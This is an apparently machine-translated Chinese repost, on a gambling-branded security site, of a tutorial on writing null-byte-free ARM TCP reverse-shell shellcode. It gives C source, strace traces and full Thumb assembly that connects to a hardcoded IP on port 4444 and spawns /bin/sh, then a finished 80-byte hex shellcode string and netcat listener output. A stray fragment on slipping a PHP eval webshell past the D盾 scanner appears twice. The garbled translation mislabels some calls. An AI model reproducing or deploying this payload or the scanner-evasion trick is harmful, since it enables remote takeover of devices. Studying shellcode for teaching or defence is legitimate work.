用ARM编写TCP反向Shell | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

用ARM编写TCP反向Shell

申博_安全防护 申博 107次浏览 未收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

在本教程中,你将进修怎样编写没有空字节的TCP反向shellcode。 若是你想从更基本的最先,你能够进修怎样在汇编中编写一个简朴的execve() shell,然后再深入研究这个轻微更难的教程。 若是你须要温习Arm顺序集的学问,请检察我的ARM Assembly Basics教程系列,或应用此备忘单:

用ARM编写TCP反向Shell

在最先之前,我想提示你,我们正在写ARM shellcode,因而,若是还没有ARM的试验状况。 你能够本身设置(应用QEMU模仿Raspberry Pi)或勤俭时候来下载我建立的现成的Lab VM(ARM Lab VM)。 预备好了吗?

反向shell

起首,甚么是反向shell,它是怎样事情的? 反向shell能够强迫内部体系主动衔接到外部体系。 在这类状况下,你的盘算机有一个侦听器端口,它能从目的体系接收回衔接。

用ARM编写TCP反向Shell

由于更罕见的状况是目的收集的防火墙没法阻挠传出衔接,因而能够应用反向shell(与绑定shell相反,绑定shell请求目的体系上许可传入衔接)来应用这类毛病设置装备摆设。
这是我们将用于翻译的C代码。

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(void)
{
 int sockfd; // socket file descriptor
 socklen_t socklen; // socket-length for new connections

 struct sockaddr_in addr; // client address

 addr.sin_family = AF_INET; // server socket type address family = internet protocol address
 addr.sin_port = htons( 1337 ); // connect-back port, converted to network byte order
 addr.sin_addr.s_addr = inet_addr("127.0.0.1"); // connect-back ip , converted to network byte order

 // create new TCP socket
 sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_IP );

 // connect socket
 connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));

 // Duplicate file descriptors for STDIN, STDOUT and STDERR
 dup2(sockfd, 0);
 dup2(sockfd, 1);
 dup2(sockfd, 2);

 // spawn shell
 execve( "/bin/sh", NULL, NULL );
}

第一阶段:体系挪用及其参数

第一步是肯定须要的体系挪用,其参数和体系挪用号。 从上面的C代码能够看到我们须要以下函数:socket,connect,dup2,execve。 你能够用以下敕令盘算出这些函数的体系挪用号:

pi@raspberrypi:~/bindshell $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h | grep socket
#define __NR_socketcall             (__NR_SYSCALL_BASE+102)
#define __NR_socket                 (__NR_SYSCALL_BASE+281)
#define __NR_socketpair             (__NR_SYSCALL_BASE+288)
#undef __NR_socketcall

这些是我们须要的统统体系挪用号:

#define __NR_socket    (__NR_SYSCALL_BASE+281)
#define __NR_connect   (__NR_SYSCALL_BASE+283)
#define __NR_dup2      (__NR_SYSCALL_BASE+ 63)
#define __NR_execve    (__NR_SYSCALL_BASE+ 11)

每一个函数所需的参数能够在linux手册页或w3challs.com上查找。
Function R7 R0 R1 R2
Socket 281 int socket_family int socket_type int protocol
Connect 283 int sockfd const struct sockaddr addr socklen_t addrlen
Dup2 63 int oldfd int newfd –
Execve 11 const char
filename char const argv[] char const envp[]
下一步是弄清楚这些参数的详细值。 一种要领是应用strace检察胜利的反向shell衔接。 Strace是一种工具,可用于跟踪体系挪用并看管历程与Linux内核之间的交互。 让我们应用strace来测试我们的绑定shell的C版本。 为了进步效力和针对性,我们将输出限制为我们感兴趣的函数。

Terminal 1:
pi@raspberrypi:~/reverseshell $ gcc reverse.c -o reverse
pi@raspberrypi:~/reverseshell $ strace -e execve,socket,connect,dup2 ./reverse
Terminal 2:
user@ubuntu:~$ nc -lvvp 4444
 Listening on [0.0.0.0] (family 0, port 4444)
 Connection from [192.168.139.130] port 4444 [tcp/*] accepted (family 2, sport 38010)

这是我们的strace输出:

pi@raspberrypi:~/reverseshell $ strace -e execve,socket,connect,dup2 ./reverse
execve("./reverse", ["./reverse"], [/* 49 vars */]) = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.139.130")}, 16) = 0
dup2(3, 0) = 0
dup2(3, 1) = 1
dup2(3, 2) = 2
execve("/bin/sh", [0], [/* 0 vars */]) = 0

如今我们能够记下须要传递给arm汇编反向shell函数的值。
Function R7 R0 R1 R2
Socket 281 2 1 0
Connect 283 sockid (struct sockaddr*) &addr 16
Dup2 63 sockid 0 / 1 / 2 –
Execve 11 “/bin/sh” 0 0

第二阶段:逐渐诠释

在第一阶段,我们回覆了以下题目,以取得我们的汇编顺序所需的统统:

  1. 我须要哪些函数?
  2. 这些函数的体系挪用号是甚么?
  3. 这些函数的参数是甚么?
  4. 这些参数的值是甚么?

这一步是关于应用这些学问并将其转化为汇编。 将每一个函数拆分为零丁的块并反复以下历程:

  1. 找出要用于哪一个参数的寄存器
  2. 弄清楚怎样将所需的值传递给这些寄存器
    1. 怎样将马上值传递给寄存器
    2. 怎样在不直接将#0移入个中的状况下使寄存器无效(我们须要在代码中制止应用空字节,因而必需找到其他要领来使寄存器或内存中的值为空)
    3. 怎样使寄存器指向内存中存储常量和字符串的地区
  3. 应用准确的体系挪用号来挪用该函数并跟踪寄存器值的转变
    1. 请记着,体系挪用的效果将落在r0中,这意味着若是须要在另一个函数中重用该函数的效果,则须要在挪用函数之前将其生存到另一个寄存器中。
    2. 示例:sockfd = socket(2,1,0) – 套接字挪用的效果(sockfd)将落在r0中。 此效果在dup2(sockid,0)等其他函数中重用,因而应生存在另一个寄存器中。

0 – 切换到Thumb形式

要削减碰到空字节的可能性,起首应当应用Thumb形式。 在Arm形式下,指令为32位,在Thumb形式下为16位。 这意味着我们能够经由过程简朴地减小指令的巨细来削减应用空字节的时机。 概述怎样切换到Thumb形式,即ARM指令必需是4字节对齐的。要将形式从ARM变动成Thumb,请将下一条指令地点(在PC中找到)的LSB(最低有用位)设置为1,要领是将PC寄存器的值加1并将其生存到另一个寄存器。然后应用BX(分支和交流)指令分支到另一个寄存器,该寄存器包罗LSB设置为1的下一条指令的地点,这使得处理器切换到Thumb形式。 这统统都能够归结为以下两条申明。

.section .text
.global _start
_start:
    .ARM
    add     r3, pc, #1            
    bx      r3

用ARM编写TCP反向Shell

过D盾shell新思路

前言 今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。 原贴 首先来看下D盾扫描结果。 以前的思路常规,就是定义一个变量b:$b=”;为空,$b = null;,$b = “\n”;然后变量a: $a = $_GET[‘1’];,eval($a.$b

从这里最先,你将编写Thumb代码,因而须要在代码中应用.THUMB指令会指明这一点。

1 – 建立新的套接字

用ARM编写TCP反向Shell

这些是socket挪用参数所需的值:

root@raspberrypi:/home/pi# grep -R "AF_INET\|PF_INET \|SOCK_STREAM =\|IPPROTO_IP =" /usr/include/
/usr/include/linux/in.h: IPPROTO_IP = 0,                               // Dummy protocol for TCP 
/usr/include/arm-linux-gnueabihf/bits/socket_type.h: SOCK_STREAM = 1,  // Sequenced, reliable, connection-based
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define PF_INET 2       // IP protocol family. 
/usr/include/arm-linux-gnueabihf/bits/socket.h:#define AF_INET PF_INET

设置参数后,应用svc指令挪用套接字体系挪用。 这个挪用的效果将是我们的sockid并将终究在r0。 由于我们今后须要sockid,让我们把它生存到r4。
在ARMv7 +中,你能够应用movw指令并将任何马上值放入寄存器。 在ARMv6中,你不克不及简朴地将任何马上值移动到寄存器中,而必需将其拆分为两个较小的值。 若是你对这个细微差别的更多细节感兴趣,能够在Memory章节(末了)中找到一节。
为了搜检我是不是能够应用某个直接值,我写了一个名为rotator.py的小剧本(简朴的小代码,献丑了)。

pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 281
Sorry, 281 cannot be used as an immediate number and has to be split.

pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 200
The number 200 can be used as a valid immediate number.
50 ror 30 --> 200

pi@raspberrypi:~ $ python rotator.py
Enter the value you want to check: 81
The number 81 can be used as a valid immediate number.
81 ror 0 --> 81

终究代码段(ARMv6版本):

.THUMB
    mov r0, #2
    mov r1, #1
    sub r2, r2
    mov r7, #200
    add r7, #81 // r7 = 281 (socket syscall number) 
    svc #1 // r0 = sockid value 
    mov r4, r0 // save sockid in r4

2 – Connect

用ARM编写TCP反向Shell

应用第一条指令,我们将存储在笔墨池中的构造工具(包罗地点族,主机端口和主机地点)的地点放入R0。 笔墨池是存储常量,字符串或偏移量的统一局部中的内存地区(由于笔墨池是代码的一局部)。 你能够应用带标签的ADR指令,而不是手动盘算pc相对偏移量。 ADR接收PC相对表达式,即带有可选偏移量的标签,个中标签的地点相对PC标签。 像如许:

// connect(r0, &sockaddr, 16)
 adr r1, struct // pointer to struct
 [...]
struct:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 192,168,139,130 // IP Address

在第一条指令中,我们将R1指向存储地区,在该地区中存储地点族AF_INET,我们要应用的当地端口和IP地点的值。 STRB指令用x00替代\ x02 \ xff中的占位符xff,将AF_INET设置为\ x02 \ x00。
STRB指令将一个字节从寄存器存储到盘算的存储地区。 语法[r1,#1]透露表现我们将R1作为基址,将马上值(#1)作为偏移量。 我们怎样晓得它是一个空字节存储? 由于r2仅包罗0,由于“sub r2,r2,r2”指令清除寄存器。
move指令将sockaddr构造的长度(AF_INET为2个字节,PORT为2个字节,ipaddress为4个字节,8个字节添补= 16个字节)放入r2。 然后,我们经由过程简朴地向它增加2来将r7设置为283,由于r7已包罗来自上一次体系挪用的281。

// connect(r0, &sockaddr, 16)
 adr r1, struct // pointer to struct
 strb r2, [r1, #1] // write 0 for AF_INET
 mov r2, #16 // struct length
 add r7, #2 // r7 = 281+2 = 283 (bind syscall number) 
 svc #1

3 – STDIN, STDOUT, STDERR

用ARM编写TCP反向Shell

关于dup2函数,我们须要体系挪用号63.生存的sockid须要再次移入r0,子指令将r1设置为0.关于盈余的两个dup2挪用,我们只须要变动r1并将r0重置为每一个体系挪用后的sockid。

/* dup2(sockid, 0) */
    mov r7, #63 // r7 = 63 (dup2 syscall number) 
    mov r0, r4 // r4 is the saved client_sockid 
    sub r1, r1 // r1 = 0 (stdin) 
    svc #1
/* dup2(sockid, 1) */
    mov r0, r4 // r4 is the saved client_sockid 
    add r1, #1 // r1 = 1 (stdout) 
    svc #1
/* dup2(sockid, 2) */
    mov r0, r4 // r4 is the saved client_sockid
    add r1, #1 // r1 = 1+1 (stderr) 
    svc #1

4 – 天生一个shell

用ARM编写TCP反向Shell

// execve("/bin/sh", 0, 0) 
 adr r0, binsh // r0 = location of "/bin/shX"
 sub r1, r1 // clear register r1. R1 = 0
 sub r2, r2 // clear register r2. R2 = 0
 strb r2, [r0, #7] // replace X with 0 in /bin/shX
 mov r7, #11 // execve syscall number
 svc #1
 nop // nop needed for alignment

我们在这个例子中应用的execve()函数与编写ARM Shellcode教程的历程是雷同的,个中统统内容都是逐渐诠释的。
末了,我们将值AF_INET(带有0xff,将被替代为null),端口号,IP地点和“/bin/shX”(带有X,将被null替代)字符串放在我们的汇编代码的末了。

struct_addr:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 192,168,139,130 // IP Address 
binsh:
.ascii "/bin/shX"

完全代码

这是我们的终究绑定shellcode的模样。

.section .text
.global _start
_start:
 .ARM
 add r3, pc, #1 // switch to thumb mode 
 bx r3

.THUMB
// socket(2, 1, 0) 
 mov r0, #2
 mov r1, #1
 sub r2, r2
 mov r7, #200
 add r7, #81 // r7 = 281 (socket) 
 svc #1 // r0 = resultant sockfd 
 mov r4, r0 // save sockfd in r4 

// connect(r0, &sockaddr, 16) 
 adr r1, struct // pointer to address, port 
 strb r2, [r1, #1] // write 0 for AF_INET 
 mov r2, #16
 add r7, #2 // r7 = 283 (connect) 
 svc #1

// dup2(sockfd, 0) 
 mov r7, #63 // r7 = 63 (dup2) 
 mov r0, r4 // r4 is the saved sockfd 
 sub r1, r1 // r1 = 0 (stdin) 
 svc #1
// dup2(sockfd, 1) 
 mov r0, r4 // r4 is the saved sockfd 
 mov r1, #1 // r1 = 1 (stdout) 
 svc #1
// dup2(sockfd, 2) 
 mov r0, r4 // r4 is the saved sockfd 
 mov r1, #2 // r1 = 2 (stderr)
 svc #1

// execve("/bin/sh", 0, 0) 
 adr r0, binsh
 sub r2, r2
 sub r1, r1
 strb r2, [r0, #7]
 mov r7, #11 // r7 = 11 (execve) 
 svc #1

struct:
.ascii "\x02\xff" // AF_INET 0xff will be NULLed 
.ascii "\x11\x5c" // port number 4444 
.byte 192,168,139,130 // IP Address 
binsh:
.ascii "/bin/shX"

测试SHELLCODE

将汇编代码生存到名为reverse_shell.s的文件中。 应用ld时不要遗忘-N标记。 如许做是由于我们要应用多个strb操纵来修正我们的代码段(.text)。 这请求代码段是可写的,而且能够经由过程在链接历程当中增加-N标记来完成。

pi@raspberrypi:~/reverseshell $ as reverse_shell.s -o reverse_shell.o && ld -N reverse_shell.o -o reverse_shell
pi@raspberrypi:~/reverseshell $ ./reverse_shell

然后,衔接到指定的端口:

user@ubuntu:~$ nc -lvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [192.168.139.130] port 4444 [tcp/*] accepted (family 2, sport 38020)
uname -a
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux

胜利了! 如今让我们应用以下敕令将其转换为十六进制字符串:

pi@raspberrypi:~/reverseshell $ objcopy -O binary reverse_shell reverse_shell.bin
pi@raspberrypi:~/reverseshell $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' reverse_shell.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x52\x40\x49\x40\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x8b\x82\x2f\x62\x69\x6e\x2f\x73\x68\x58

瞧!这就是反向shellcode! 这个shellcode长80个字节。 由于这是一个初学者教程,为了连结简朴,shellcode并非那末简短。 在开端完成shellcode以后,你能够实验找到削减指令量的要领,从而收缩shellcode。
愿望你能学到一些器械,能够应用这些学问来编写你本身的变种shellcode。 请随时与我联络以取得反应或发起。

过D盾shell新思路

前言 今天在逛论坛时,遇到一个坛友,分享了一个shell过D盾的思路,满好玩的,分析下。 原贴 首先来看下D盾扫描结果。 以前的思路常规,就是定义一个变量b:$b=”;为空,$b = null;,$b = “\n”;然后变量a: $a = $_GET[‘1’];,eval($a.$b


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明用ARM编写TCP反向Shell
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址